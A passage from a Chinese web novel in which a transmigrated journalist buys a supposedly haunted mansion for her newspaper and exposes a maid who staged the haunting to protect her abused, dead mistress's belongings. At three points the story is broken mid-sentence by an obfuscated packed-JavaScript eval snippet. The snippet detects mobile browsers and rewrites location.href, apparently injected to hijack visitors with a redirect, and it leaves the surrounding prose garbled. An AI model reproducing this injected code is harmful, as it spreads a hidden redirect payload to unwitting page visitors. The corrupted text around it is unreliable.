孟允抒没被柜子中的物品吓到，却被萧谨言惊得一颤，差点跌坐在地上。 她回头看看用袖子掩面的萧谨言，索性把他拉了过来，奋力按下他的胳膊：“你看清楚了吗就叫，这有什么可怕的？” 萧谨言定睛一看，柜中整齐地摆放着数个木盒，里面放着五花八门的小玩意，有耀眼华贵的金银首饰，也有半新不旧的典籍，还有万花筒、泥偶、鲁班锁等玩具，应是江氏的遗物。 孟允抒回头问那仆人：“这些首饰价格不菲，你们可是将它遗漏在此？” “呦，应该是忘了。”他惊讶道，“近日我们老爷有要事在身，顾不上清点检查这边的物件。” 他的演技相当拙劣，孟允抒一眼就能识破。 “我们老爷吩咐过，今日若在府中发现什么未曾搬走的物件，不必回禀他，直接将它们一并交给夫人便是。”仆人笑容满面地向孟允抒一行人道喜，“几位真是鸿运当头。” “我看是霉运当头。”萧谨言反驳，“你们怎么能把死人用过的东西丢给我们？” “不能这么说。”孟允抒阻止他继续说下去，笑着对仆人说道，“陈老爷慷慨爽利，我十分感激。他的这份好意我收下了。” 仆人见这桩生意做成的可能性极高，眉开眼笑道：“那我们再去下一间看看。” “你怎么敢要江氏的遗物？”萧谨言口不择言，也顾不上那些礼节，义愤填膺地评价孟允抒，“你当真是要钱不要命。” 君子爱财，取之有道。孟允抒虽然精打细算，但也不会接受这种不义之财。 她这样做完全是因为方才脑海中响起的那句话。 【您已触发任务：三日内探明陈府闹鬼疑云，令其摆脱“凶宅”称号。任务完成后可获得60点声望。】 从一开始孟允抒就不相信陈府真的闹鬼，系统发布的任务更是坐实了她的猜测。查找真相需要一个突破口，看接引人的反应，她觉得江姨娘的这些遗物应该与闹鬼传闻密不可分。 不过，现在报社还没有开始运营，自然没有独家印坊印刷小报，等真相大白之后，她要是再去找郭掌柜，他说不定又得坑自己一笔钱。 孟允抒问系统：“如果我没能在限定时间内完成任务，会有什么后果？” 【每超出一天，会倒扣您10点声望值。当声望值为负时，系统会自动与您解绑。】 孟允抒觉得这系统简直是催稿利器。相比之下，她以前所在的报社编辑堪称温柔，至少不会扣她工资。 小不忍则乱大谋，孟允抒认栽地想，等她查明真相，还是去一趟文昌书坊为妙。 整个陈府已经巡察完毕，孟允抒当即决定将此处定为报社地址。 经过萧谨言的一番阻挠，以及和接引人的唇枪舌战之后，孟允抒成功砍下了一百两银子，最终以两千九百两的价格成交。 接引 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15310341|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人一面摇头叹气，一面急不可耐地拿出契纸：“夫人在空白处签字画押即可。” 契纸一式四份，孟允抒签了名，那仆人将其中一张递给孟允抒：“两份分别给您和老爷，另外两份由我们交到官府那边。” 他交代完必须要走的流程和注意事项之后，如释重负般地笑道：“今日这事就算了结了，我在此提前祝各位金玉满堂。” 告别几人后，他转身拔腿就跑，刚才那副从容的模样荡然无存。 孟允抒看着他仓皇逃窜的背影，感觉他像是生怕被江姨娘的冤魂撵上似的。 “事已至此，你发愁也没用。”孟允抒收好契纸，对蹲在墙角的萧谨言说，“你和秋盈先在此处待着，我回府带几个丫鬟小厮来换你，到时候你就可以回去了。” 萧谨言放过眼前那处被他盯得脱落的墙皮，回头问道：“今晚你们值夜？” 孟允抒点头。 这宅邸现在已经交付到他们手里，陈府那边当然是有多远躲多远。孟允抒他们接下来就要开始收拾房屋、置办器具，夜晚总得留几个人在此处看门。 “不成。”萧谨言站起身，目光在孟允抒和秋盈身上游移了几个来回，“今日是我们头一天来许府，哪能直接让你们两个姑娘家守夜。今晚我带人值夜，要是没什么意外情况，明天再换你们来。” 萧谨言的良心居然压倒了他的恐惧。 秋盈对萧谨言了解不深，还不知道他的拧巴：“萧公子，你方才不是还在害怕吗？怎么又说——” “谁怕了？我不怕！”萧谨言打断秋盈的话犟嘴道，他向两人解释：“我到底是男子，阳气重，能镇得住这宅子。” 孟允抒觉得，他这句话的语气听起来更像是自我鼓励。 秋盈见萧谨言方才的表现，有些不放心地提醒他：“可江姨娘是女子，我听闻女鬼更容易缠上男子，萧公子可要当心。” 这原本是一句好心的叮嘱，但在萧谨言听来，秋盈分明是在恐吓他。 “大不了我多带几人便是。”他的声音不自觉地哆嗦起来，“我卧房有柄桃木剑，之前府里有道士来祈福，他们还给我画了几道符咒，我把这些都统统带上，就不信镇不住那冤魂。” 萧谨言的装备相当齐全，但很可惜，它们大概没什么作用。 “你还不如带柄短刀防身。”孟允抒说，“十有八九是有人装神弄鬼，那些对付鬼魂的东西可伤不了人。” 萧谨言疑惑：“你怎么知道？” “陈府闹鬼的结果便是留下一柜的遗物，如果我没有猜错，闹鬼应该与它有关。”孟允抒笑笑，“冤魂的目的多为报仇索命，只有活人才会在意那些身外之物。” 萧谨言思索片刻，认为孟允抒说得在理：“那你为什么不早点说，害得我担心这么久。” 孟允抒理直气壮地回答：“说得早了，我们哪能用不到三千两的价钱买到这么好的宅子？” 萧谨言这才反应过来，她一直在利用自己，故意给接引人制造恐慌情绪，好让她压价。 他咬牙切齿地骂道：“卑鄙小人。” 孟允抒觉得他骂得挺好，这说明她从郭掌柜那学到了点经商之道。 “言归正传。”她对萧谨言交代道，“你赶快回府带人，待会过来换我和秋盈回去。要是今晚有什么异动，等明早我来了之后你告诉我。” 今天是他们来到陈府的第一天，孟允抒也不敢保证那个鬼魂一定会现身；即使她现身了，又会以什么样的方式出现，她也无法确定。在这种情况下，贸然出击很可能会打草惊蛇，不如先让萧谨言打前锋探听情报。 而且，以萧谨言那种一惊一乍的性格和夸张表述，她或许还能从他口中得到一篇《走近科学》的前半段内容。 12. 撞鬼 翌日一早，孟允抒和秋盈乘着马车再次来到陈府。 两人下了车还没来得及进门，便听得里面传来萧谨言的大喊大叫。 “你走路怎么没声音？”他的声音充满恐惧与愤怒，“说话就说话，干什么从后面拍我！” 听见小厮不住地道歉认错，孟允抒推门进去替他解围，屏退了下人对萧谨言笑道：“怎么了，二公子一大早就发这么大的脾气？” “你们终于来了。” 见到孟允抒和秋盈，萧谨言像是见了救命稻草一般，扑过来紧紧攥住她们的衣袖，神情惊惧，瞪着眼睛急速说道：“咱们今天赶紧收拾东西撤吧，别再和这宅子纠缠，回头赶紧把它转手卖了。” 孟允抒看他的反应就知道，他昨晚应该是撞“鬼”了。 她向萧谨言询问详情：“昨夜你可在宅中遇见了什么怪事？” 秋盈将自己的衣袖从他手里抽出，安抚他道：“萧公子，你先冷静，慢慢说。” 萧谨言一屁股跌回椅子上，神色恍惚。他端起桌上的茶盏喝水，因为他的手抖得太厉害，将茶水洒出来不少。 他勉强喝完剩下的半杯茶水，定了定神道：“陈府的闹鬼传言半点不假，我昨晚亲眼见到了那江氏的魂魄，在窗外连声喊冤。” 他深吸一口气，将事情的经过细细道来。 “昨日你们走后，我便按照孟夫人的安排，在前院、中庭、后院的房间中都布下人手，由我把守江氏的卧房。”他幽怨地看了眼孟允抒。 “到了三更左右，在我昏昏欲睡之际，忽然听得窗外隐约传来女子的哭声，与风吹树叶的声音混在一起，听来格外凄凉哀婉，让人心里发毛。这下我也睡不着了，就起身望向窗外。” “原本中庭的三间房中都亮着烛火，我却亲眼见到那两扇窗户里的烛光依次熄灭，院中顿时一片漆黑。” “等等。”孟允抒打断他的话，抓住一个细节问，“那些烛火不是同时熄灭的？” 萧谨言回忆着昨夜的情景，回答道：“不是。两间房中的光亮是分别暗下去的，两者的时间有一定间隔。” 中庭里的三间房屋分布松散，彼此之间都隔着不短的距离，按照正常人的速度，即使从一间跑步奔向另一间，也得花上十几秒。 由此可见，至少在昨晚的中庭当中，作案人员应该只有一个。 孟允抒又问：“昨夜在这两间房中值守的下人怎么说？” “他们说，因为烛火自熄，他们不敢轻举妄动，就在房中静观其变。”萧谨言回答，“我当时也是这样想的，所以凝神盯着窗外的动静，想看看接下来会发生什么。” 孟允抒与秋盈对视一眼，却并未打断萧谨言的话，让他继续说了下去。 “就在我没防备的时候，一个白色身影呼地一下从我窗前飘过，上面还沾有血迹。”他的语气激动起来，“我看得很仔细，普通人根本不可能跑得那么快，而且那罗裙离地半尺，脚不挨地，这不是鬼是什么？” 孟允抒反问：“那你怎么知道她是江氏的冤魂？” “因为这是她自己亲口所说。”萧谨言的声音中满是恐慌，“她说她是这房间的主人，被王夫人设计害死，我待在这扰了她的清净，命我尽快搬出去，否则下场只会比原来陈府中的人更惨。” “我反应过来，赶紧叫大家来抓鬼，可当众人赶到的时候，那鬼魂早都没了踪影。我们在府中上下仔细搜寻，却一无所获。” 说完，他又极力劝说孟允抒与秋盈离开：“这宅子实在太邪乎了，省钱也不是这么个省法，我们还是另寻别处吧。” 孟允抒注意到秋盈在旁边一言不发，蹙着眉头，似乎正在凝神沉思。 她问秋盈：“你对此事有何看法？” “陈府是否真的闹鬼，此事尚无定论。”秋盈显然并不害怕凶宅传闻，话锋一转道，“只是……” 她看看萧公子，又望望孟允抒，似乎是在征询她的意见。 “你想到什么直说便是，我与萧公子都不会见怪。” 萧谨言也点了头，秋盈开口说道：“萧公子该对身边人严加管教。” 孟允抒满意地夸赞道：“姐姐果然敏锐。” 萧谨言不明白这两人在打什么哑谜：“什么意思？” “他们房中烛火自熄，却没有作出半点反应。”秋盈解释，“更何况院中漆黑，危机暗伏，他们为何不尽快赶往公子身边，对你加以保护？” 她的点拨让萧谨言醍醐灌顶：“也就是说，他们当时并不在中庭。” 秋盈默默点头。 “这帮家伙，光拿钱不办事。”萧谨言马上就要起身去找他们理论，孟允抒拦下他说道：“二公子莫急，容我向他们问问详情。” 那两个在中庭值夜的下人很快被传唤过来，忐忑不安地站在孟允抒等人面前。 孟允抒开口问道：“你们可曾见到那江氏的冤魂？” 左边那人连忙回答：“见到了。” 右边的下人则补充道：“白色罗裙，身着血衣，在院中飘忽不定。” 萧谨言在抓鬼时曾向他们描述过鬼魂的特征，这句话不足以成为任何证词。 孟允抒接着问：“那你们有没有听清楚她说了些什么？” “听清楚了。她说她是被王夫人害死的，还说让我们马上搬走。” 孟允抒笑了笑：“你们的房间与萧公子相隔至少五十米远，又有风声干扰，你们二人如何能听清那鬼魂所说的话？” 两个下人支支吾吾地答不上来。 “你们昨晚根本没在中庭。”萧谨言猛一拍桌怒斥道，“说，你们跑哪去了？” 两个下人脸色一白，慌忙向萧谨言讨饶，请他恕罪。 “你们要是如实招来，我兴许还能放过你们。”萧谨言说，“如有半句假话，你们今天下午就给我从萧府出去！” 孟允抒觉得萧谨言素质挺高，都到这个时候了也不会用脏话骂人。 “是，是。” 左边那个仆人坦白道：“昨晚除了您在的东厢房，其余房间都只留一人看守。熬到半夜，我实在觉得无聊，就和他一起去找前院的人聊上一会。” 右边的仆人证实他的话：“我们本想着在一起说说话，清醒一下就回来，没想到刚走就出了这档子事。” 萧谨言又叫来昨晚在前院值守的仆人和他们当面对质，证明其所言属实。 这样看来，烛火自熄之说根本站不住脚。当时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15310342|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两间房中无人看守，其他人完全有机会进入房中吹灭蜡烛。 从萧谨言提到的女子哭声和说话声也可以推出，装神弄鬼的人很可能是名女性。 而在前后院中值夜的仆人都并未见到鬼魂，她独独在萧谨言看守的东厢房外徘徊，这也从侧面印证了孟允抒最初的猜测，她果真是冲着江氏的遗物来的。 江氏是内宅女子，只有陈府中的人知晓她的住处并清楚她有何遗物。 孟允抒分析着目前掌握的线索，却发现一个疑点。 如果作案人的目的是取得江氏遗物，她是陈府中人，为何不在江氏死后的那段时间内将遗物转移，而偏偏要费尽心机，来叨扰他们这群外人呢？ 看来要想搞清楚事情的真相，她必须抓住这个鬼魂亲身调查一番。 孟允抒看看刚发完一通火的萧谨言，对他笑道：“二公子昨夜辛苦了，今日你先回去歇着，留我们在此处监工看门。” 萧谨言愣了愣，不可思议地问道：“我已经亲眼见到那江氏的冤魂，你们居然不搬走，今晚还要待在此处？” “二公子放心，我已有初步推断，兴许今晚我们就能弄清那鬼魂的真面目了。”孟允抒回答，“若是如此，也能为昨夜的怪象作出解释，不至于让其成为二公子的一处心结。” 萧谨言放心不下孟允抒和秋盈两人，但因他昨日白天忙里忙外，晚上又熬了个通宵，加上见鬼之事让他惊惧不已，府中下人也玩忽职守，值得他劳神的事情太多，他实在是心力交瘁。 “也好，那我回府后再重新派些人来帮你们捉鬼。”萧谨言纠结了一会后终于下定决心，反复叮咛道，“要是情况不妙也不要勉强，性命要紧。我们赶紧从宅子里搬出去就是了。” 孟允抒回府用晚膳时，许昭在桌上提起报社之事，问她置办器具的进展可还顺利。 “一切都好。”说到报社，孟允抒眉飞色舞，滔滔不绝地和许昭说了一大堆白天的见闻，包括她和店家斗智斗勇的过程。 等她反应过来的时候，才发现自己太过聒噪，不好意思地对许昭笑笑：“我打扰公子用膳了。” “不，我觉得你说的甚是有趣。”不知是不是因为孟允抒讲得尽是些市井琐事，她发现许昭的表情是前所未有的放松，始终面带笑意。 他想起另一件事：“对了，昨晚萧公子值夜时，他可曾见到什么异动？” “我正要将此事告知于你。” 孟允抒将萧谨言的见闻以及她的推断全部告诉许昭：“我让萧公子回府了，今晚换我和秋盈值夜，待会得带几个下人一起过去。” 许昭将碗筷放在一边：“此事太过危险，我也随你一同前去。” “不行。”孟允抒一口回绝，“你明日一大早还要上朝，今晚若是值夜，明天怎么能撑得下来？” “无妨。”许昭回答，“刑部若是有急案要审，连续熬几个通宵也是常有的事。” 这句话点醒了孟允抒，许昭在刑部任职，或许他能比自己更快地查出真相。 专业的事自然要交给专业的人办。 “好，那便有劳公子了。” “嗯。”许昭略一点头，对她笑道，“姑娘快些吃吧，待会饭菜该凉了。” 13. 走近科学 当晚，孟允抒封锁前后门，将府中下人分别安排在陈府的各处房间内，让大多数人集中在中庭，留一小部分人看守前后院，并再三叮嘱所有人，在没有接到通知的情况下不得擅离职守。 确保万无一失后，她和秋盈、许昭以及另一名小厮待在东厢房内，守株待兔。 刚入夜时孟允抒还精神抖擞，满怀期待地等着捉鬼，但这份激情没能持续太久，就被瞌睡压了下去。 昏暗的烛光，静谧的环境，全是催眠的好手段。 秋盈见她困得东倒西歪，索性劝她睡一觉：“夫人趴在桌上歇息一会吧。” “不，我要亲眼看看那个鬼的模样。”孟允抒撑起沉重的眼皮，摇摇头让自己清醒些。 在她的视线左右晃动之时，她看见坐在她旁边的许昭还在油灯下看书。 孟允抒瞄了一眼书上密密麻麻的小字，感觉好像更困了。 胤朝没有电，没有手机，更没有网络，一个人晚上在家的时候，除了看书和闲聊以外，似乎也没什么其他的消遣方式。 她想起自己以前熬夜玩手机导致视力下降的事，出言提醒许昭：“许公子，这里光线太暗，你别看书了，伤眼睛。” 他要是近视了，可没有哪个人能给他配副眼镜。 孟允抒见屋里三人都面露倦色，决心和他们聊聊天让大家清醒些。 她随口问许昭：“我见公子平日手不释卷，你是自幼便酷爱读书吗？” “不是。”许昭听从孟允抒的劝告合上书，将手轻轻按在封面上，“我儿时性格顽劣，听见读书便头疼，长大些了才知道在念书上用功。” 这是许昭从未展露出的一面，孟允抒来了兴趣，追问他道：“那你小时候喜欢做些什么？” 听到孟允抒的问题，秋盈和那名小厮也坐直了身子，向许昭投来好奇的目光。 没有人不喜欢听八卦。 面对众人的期待，许昭不好拒绝，就讲起了他的童年旧事。 “我幼时住在一个小村庄里，平日经常和一群同龄伙伴到处做坏事，什么偷鸡摸狗、下河摸鱼、爬树掏鸟窝的事都干，惹得村里人嫌狗厌。” 年幼的孩童多半淘气，他们一旦成群结队，杀伤力更是成倍增长。 孟允抒难以想象，眼前这个冷淡沉静的美男子曾经是个人人喊打的熊孩子。 她用揶揄的语气说道：“没看出来公子身手敏捷，居然还会爬树。” “我那时家贫，日夜饿着肚子，只能花心思找些野味充饥。”许昭有些窘迫地笑笑，“凡是出身乡野的孩子，几乎没有哪个不会爬树。” 民以食为天，尤其在蒙昧无知的幼童眼中，吃饱饭并活下去就是他们最重要的目标。 孟允抒想说些什么来安慰她，却蓦地联想起许昭先前曾问她，与他成婚是否会觉得委屈，他对自己的出身应当十分介怀。若是言语不当，她反而会伤了许昭的自尊。 她盯着桌上的油灯与烛火陷入沉思，却发现火光都一齐向右边倾斜，忽明忽暗地抖动起来。 “起风了。” 孟允抒警觉地望向窗外。 晚风丝丝缕缕地从窗外渗进房间，而后风声越来越大，逐渐转为凄厉的尖啸，院中的树叶也被风声吹得沙沙作响，像是为一场好戏的开幕鼓掌喝彩。 当前已过三更，按照萧谨言的描述，那鬼魂也该来了。 果然，院中忽而响起断断续续的哭声，和着夜风呜咽，哭得人毛骨悚然。 孟允抒抬手示意屋内的人先不要动，屏住呼吸望向窗外。 中庭里的另外两间房依然亮着烛火。 一道白色身影倏地从窗前闪过，孟允抒的视线甚至没能跟上她的速度。 一个饱含愤怒的女声在窗前响起：“昨日我已命令你们搬走，为何你们仍旧停留在此，扰我安宁？” 为了看清那道白色身影的样貌，孟允抒走近窗口高声问道：“打扰姑娘清净实在抱歉，请问你是何人？” 白色衣裙再次从窗前飞过：“此间卧房的主人，陈府江氏。” 这次孟允抒发现，正如萧谨言所说，这鬼魂的裙摆离地面还有一截距离，裙底空荡荡的，并无腿脚的痕迹。 “江姨娘多有误会，我们并非有意扰你，只是想还你一个清白。” 孟允抒用眼神暗示许昭和小厮出门捉鬼，她继续在窗前问话，吸引对方的注意力。 “我听闻姨娘是因重病身亡，这背后是否另有隐情？” “重病身亡？”那女子冷笑一声，“真是个好借口。王夫人——” “老爷小心！” 她的话被院中小厮的惊呼声骤然斩断，再无下文。 孟允抒见状连忙拉着秋盈冲出房门：“情况如何？” 许昭在院中转过身来，将手里的东西拿给孟允抒看：“我出门便见这衣衫在窗前飘荡，用手一扯，它就不再动弹了。” 孟允抒接过他手里的白色衣裙，将它展开，发现上面确实沾染着数片血迹，让人看着触目惊心。 她当即吩咐秋盈和小厮继续守在房中，自己和许昭则去其余房间询问情况。 从前后院走访探查了一圈，值守的下人都说他们不曾离开房间半步，但并未见到鬼魂，也没见到形迹可疑的人员出没。 孟允抒回到东厢房，从秋盈口中听到了同样的答案。 “不过我发现了这个。”秋盈拿来方才的那件血衣，把它凑近烛火，“老爷夫人请看。” 孟允抒看向长衫胸口的位置，发现上面系着一截白色的细线，需要仔细看才能发现。 方才院中光线太暗，他们完全没有察觉到它的痕迹。 孟允抒用手捏了捏那根线，相较于常见的用于缝制衣物的丝线，这根线显然更粗、更有韧性。她将衣物递给许昭，许昭捻弄了一下那条白线，又在灯下观察片刻，得出一个结论。 “鱼线。” 这是一条崭新的线索，但孟允抒没办法将其与先前的事情串联成清晰的逻辑。 许昭也没有再做进一步推断，只是从桌上端起烛台说道：“我再去院中看看。” 孟允抒赞同他的做法。要是能在案发现场发现新的证据，或许能事半功倍。 “我也去。” 她拿了盏油灯，和许昭一同走到院中。 “方才我就是在这里抓住了那件血衣。”许昭停下脚步，给孟允抒划出一个大致范围，“我们在此处找找，看是否还有什么可疑痕迹。” 孟允抒用火光映亮地面，认真察看地上的痕迹，试图从中搜寻出蛛丝马迹来。 “孟姑娘，麻烦你把油灯给我。” 孟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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她继续说道：“那就有劳公子帮我找找，我的手帕是不是被风刮到树上去了。” 许昭走到槐树底下，双手环抱树木，脚一蹬地就窜了上去。 孟允抒懵了。 她没把作案人诈下来，反倒把许昭诓上去了。 “你干什么？”她赶紧挥手让许昭下来，“危险。” 许昭不解：“不是你让爬的吗？” “我——”孟允抒这才反应过来，许昭曲解了她的意思。 她只能将计就计，冲着树顶冷声喊道：“那位不知姓名的姑娘，我知道你在树上。要是你愿意主动下来，我们还可以好好谈谈。” 她给许昭使了个眼色：“还是说，你需要我们亲自请你下来？” 许昭又往上爬了几米，树上终于响起一道惊慌失措的女声：“你们别上来，我、我马上下去。” 许昭从树上退下，孟允抒帮他拍了一阵身上的尘土，一个娇小的身影也轻巧地跳到地面上。 “实在抱歉，我并非有意要吓唬各位大人。” 面前这个女孩看起来只有十三四岁，虽然她正在低头认错，但孟允抒并没有从中听出怯懦的情绪。 “你随我到房里来，与我细说缘由。” 14. 她的名字 孟允抒和许昭进了厢房，在桌边的椅子坐下，那小姑娘站在两人面前，用询问的目光看了看他们身后的秋盈。 秋盈会意地上前介绍：“这位是许老爷，这是孟夫人。” 接着那姑娘便“扑通”一声跪在地上，磕了几个响头：“我绝非故意装神弄鬼，请老爷夫人恕罪。” 孟允抒经不住这样的大礼，差点条件反射地从椅子上蹦起来。 她赶紧说道：“你不用跪我，起来说话。” 女孩站起身来，微微弓起身子，作出俯首认错的模样。 孟允抒习惯通过对方的神态和表情判断其心理活动，于是开口说道：“你把头抬起来，看着我。” 小姑娘按她的命令照做，将面容全部呈现在孟允抒眼前。 这女孩生着一对灵秀的杏眼，在烛火的映照下流光溢彩，微抿的嘴角中莫名显露出狡黠的气息，打眼一看就是个伶俐的姑娘。 孟允抒先从最简单的问题说起：“你叫什么名字，今年几岁了？” “回夫人的话，我叫排云，今年十三。” 孟允抒从她的名字中得出一个结论：“你是陈府中的丫鬟？” 排云点头：“是。” “你为何要装神弄鬼吓唬我们，屡次想把我们赶走？” 孟允抒见排云飞快地瞟了她一眼，直觉告诉她排云接下来所说的话不可信。 她看了看身边的许昭,决定发动狐假虎威的技能。 “这位是刑部郎中许大人，若你有半句假话，我们就会把你抓起来交给官府，定你一个居心叵测，谋财害命的罪名。” 许昭见状，也十分配合地装腔作势，神情威严地点点头。 孟允抒在心里给许昭点了个赞，他的演技真是突飞猛进。 排云没想到许昭是这般来头，赶忙给孟允抒回话：“我说，我说。” 她踌躇片刻又问：“若我如实回答，请问老爷夫人能否保我性命？” “若你并非作奸犯科之徒，我们定然不会加罪于你。” 得到许昭的保证，排云心里似乎有了底，老实回答道：“我只是不想让你们待在江姨娘的房间里，不愿让你们动她的遗物。” 孟允抒有了一个猜测：“你是侍奉江氏的丫鬟？” “对。” “那陈府中闹鬼的事，全是你一手策划？” “是。”排云的声音激动起来，“但我敢发誓，我从未害过他们性命，老爷和下人的死与我无关。” 孟允抒逮住这个关键点问道：“那你说说，陈老爷和府中下人的死因是什么？” “陈老爷是个好色之徒，整日在外寻欢作乐，一早就得了花柳病，他死有余辜。”排云愤慨地骂道，“至于那些下人，则是因为分赃不均互相陷害，导致几人没了性命。” 孟允抒觉得这样东一榔头西一棒追的问答太过混乱，索性让她从头讲起：“你把事情的来龙去脉讲一遍，从你侍奉江氏开始，到你口中所说的她被王夫人设计害死，再到后面你装鬼的事，一一向我们道来。” 排云点头应允。 “江姨娘原本是个小户人家的小姐，她母亲早逝，后来父亲去世家道中落，她继母决定趁早将她嫁给别人，好捞一笔巨额彩礼。陈老爷从旁人那得知此事，因为垂涎江姨娘的美貌和才情，不惜花高价将她迎娶进门。” 排云的声音非常低落。 “我就是那个时候被老爷派去服侍江姨娘的。江姨娘性情温柔，天真单纯又平易近人，因为我年纪小，她甚至常常反过来照顾我，总是怕我累着。平日里老爷将她看得紧，她出不了门，就喜欢向我们打听近期外面发生了什么新鲜有趣的事，和我们这些下人聊天解闷，时常笑得直不起腰。” 孟允抒瞥了眼那个安静立于墙角的柜子。那里面放着各种稀奇古怪的小玩意，从中可以窥见主人的性格。 它们曾经属于这样一个鲜活爱笑的姑娘。 “除此之外，江姨娘最喜欢做的事就是读书。她说，‘读万卷书，行万里路’，她这辈子是做不到后半句了，但她至少有书籍作伴，能从中看到广阔无垠的天地。她总是这样乐观。” 两行眼泪从排云眼中倏然落下，她停顿了许久，才平复好心情继续说下去。 “我原本是个乡下来的野丫头，大字不识几个，但看见江姨娘总是捧着书看，我非常好奇，就问她书上讲了些什么。她说，面对同一篇文章，不同的人有不同的感受，我若只是听她解读，就会失了不少兴味。” “然后她笑着问我，想不想认字。”排云又开始啜泣，“认字以后我就能读书，所以我告诉她，我想识字。” “从那天起，江姨娘每天晚上睡前都会教我识字念书。我记得很清楚，当我第一次完整地念完一篇文章时，江姨娘看起来比我还高兴。” “我也期盼这样的日子能持续下去，但事与愿违。”排云擦了擦眼泪，“陈老爷得了新人，便整日扑在江姨娘房中，招致王夫人的嫉恨。王夫人是陈老爷的发妻，在他还没发迹的时候陪他一起白手起家，没料到他的变心来得如此之快。” “王夫人心机深重，明里暗里地欺负江姨娘，给她使绊子。江姨娘自己也知晓这些，她曾多次向王夫人袒露心迹，说明她只想过安生日子，希望能与王夫人成为一对好姐妹，两人和平共处。” 排云叹了口气：“江姨娘心性善良纯粹，自然将他人想得同她一般美好。王夫人明面上对她的话颇为赞赏，可对付她的手段却日渐阴毒。在她的精心设计之下，陈老爷对江姨娘心生厌弃，到她房中的次数越来越少。” “江姨娘说这样也好，她对陈老爷本来就没多少感情，他走了她反倒落得清净。我也以为从此之后她的日子能好过些。”排云的语气再度变得激昂，“可王夫人不肯善罢甘休。她趁着自己得势，铁了心地要将江姨娘置于死地，以绝后患。” “老爷出门在外时，她就敞开了欺凌虐待江姨娘，让她喝下滚烫的开水，暑天的正午让她跪在院中诵经，诸如此类数不胜数。起初江姨娘还会将此事告知陈老爷，可换来的是老爷的敷衍和厌烦，以及王夫人变本加厉的折磨。长此以往，她便不再向他人求救了。” 说到最后这句话时，排云的眼神十分黯淡。 “数九寒天，王夫人命江姨娘在院中用刺骨的冷水为她洗衣，没多久江姨娘的手上便生出冻疮，到处都是皲裂的伤口，她也染上了风寒。起初她的病情并不严重，只需按时用药就能痊愈，可王夫人却假意关切，说她知道一个偏方，能让江姨娘的病好得更快些。” “几副草药下去，我发现江姨娘的病非但没有好转，反而愈发严重，就找了个时间偷偷前往药铺询问郎中。郎中告诉我，那药方里尽是些寒性的猛药，他们摆明了就是想要江姨娘的性命。” 孟允抒静静地在一旁听着，未发一言。她已经能猜到故事的结局。 “回府之后我将此事告诉江姨娘，她却并不在意。她说，即使她苟活于世，也只是日复一日地忍受非人的生活，还不如让她快些解脱。” “就是在这种情况下，她连笔都拿不稳了，她还坚持教我读书写字。”排云咽下喉头的酸涩，“江姨娘说她时日无多，可教给我的东西能让我走得更远，想 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“后来，府中仆人被吓得魂飞魄散，疯掉的人越多，闹鬼的传言就越发真实，再也没人敢进江姨娘的房间。最后王夫人也受不住这般惊吓，终于失了神智。” 排云长舒一口气：“王夫人固然该死，可真要论起来，此事的罪魁祸首是陈老爷。既然他已经丧命，我也不再追究王夫人的罪过。” “王夫人被接回娘家之后，府中的下人被尽数遣散。后来我听说这宅子被卖了出去。”她沉默片刻，直视着孟允抒的双眼，“此处是江姨娘的房间，留有她的痕迹，是她存在过的唯一证明。我不愿看到她就这样悄无声息地走了，什么都没能留下。” “所以，我扮作脚夫、杂役，趁白天混进雇工当中进入内宅，提前埋伏在树上，翌日再随雇工出去。这是我唯一能为她做的事了。” 待孟允抒回过神想要发问时，她已是泪流满面。 这些年的记者生涯已经让她养成了冷静客观的职业习惯，在采访时鲜少掺杂私人情感，以免让报道有失公允。 可是在今天这件事上她做不到置身事外。 若是江氏还活着，她一定非常愿意加入她的报社，也一定能在新闻事业上大放异彩。 若她并未生在这个时代，而是更遥远的未来，她也能够拥有如她本人一般的美好灿烂的人生。 但这两个假设都不属于她。 屋内的几人一齐陷入长久的静默，半晌无一人开口，似是向江姨娘致以最深切的哀悼。 孟允抒终于找回理智，平复心情问：“你今日所述之事，可有凭据佐证？” 排云对答如流：“郎中那里有看诊记录，我也存着王夫人的那副偏方。这些事府中下人都知道，只是一直被王夫人压着，不许外泄。” 孟允抒有了调查方向，转而问排云：“你不可能一直这样守着江姨娘的卧房和遗物。今后你有什么打算？” “我不知道。”她抬起朦胧的泪眼看向孟允抒，“我一心想着为江姨娘报仇，没想过其余的事。” “她叫什么名字？” 面对这个冷不丁的问题，排云很快反应过来。她的语气铿锵有力。 “她叫江芷兰。” 孟允抒点头。 她有名字。不是作为江家女儿的江氏，不是作为陈老爷侍妾的江姨娘，而是一个独立的人——江芷兰。 孟允抒问排云：“芷兰走了，但她教给你的东西还在，是吗？” “嗯。” “那就让她用另一种方式活下去。”孟允抒笑中含泪，“待此事真相水落石出后，我再与你详谈。” 15. 启业 自孟允抒让陈府闹鬼的内情见报后，消息很快传遍大街小巷，民众对陈老爷、王夫人等人发起猛烈的谴责和唾骂，这两家人犹如过街老鼠，再也不敢光明正大地出门。 